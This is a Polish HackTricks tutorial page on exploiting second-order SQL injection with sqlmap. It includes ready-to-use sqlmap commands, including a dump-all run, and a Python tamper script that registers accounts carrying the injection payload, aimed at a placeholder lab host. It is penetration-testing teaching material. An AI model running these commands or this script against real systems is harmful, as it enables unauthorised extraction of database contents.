5.6 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
SQLMap może wykorzystać drugorzędne SQLi.
Musisz podać:
- Żądanie, w którym payload sqlinjection zostanie zapisany
- Żądanie, w którym payload zostanie wykonany
Żądanie, w którym payload SQL injection jest zapisywany, jest wskazane tak samo jak w przypadku innych wstrzyknięć w sqlmap. Żądanie, w którym sqlmap może odczytać wynik/wykonanie wstrzyknięcia, można wskazać za pomocą --second-url lub --second-req, jeśli musisz wskazać kompletną prośbę z pliku.
Prosty przykład drugorzędny:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
W wielu przypadkach to może nie wystarczyć, ponieważ będziesz musiał wykonać inne czynności oprócz wysłania payloadu i uzyskania dostępu do innej strony.
Jeśli jest to konieczne, możesz użyć modyfikatora sqlmap. Na przykład poniższy skrypt zarejestruje nowego użytkownika, używając payloadu sqlmap jako adresu e-mail i wyloguje się.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Zawsze wykonuje się tamper SQLMap przed rozpoczęciem próby wstrzyknięcia zapytania z ładunkiem i musi zwrócić ładunek. W tym przypadku nie zależy nam na ładunku, ale zależy nam na wysłaniu kilku żądań, więc ładunek nie jest zmieniany.
Jeśli z jakiegoś powodu potrzebujemy bardziej złożonego przepływu do wykorzystania drugorzędnej wstrzyknięcia SQL, takiego jak:
- Utwórz konto z ładunkiem SQLi w polu "email"
- Wyloguj się
- Zaloguj się na to konto (login.txt)
- Wyślij żądanie wykonania wstrzyknięcia SQL (second.txt)
Ta linia sqlmap pomoże:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.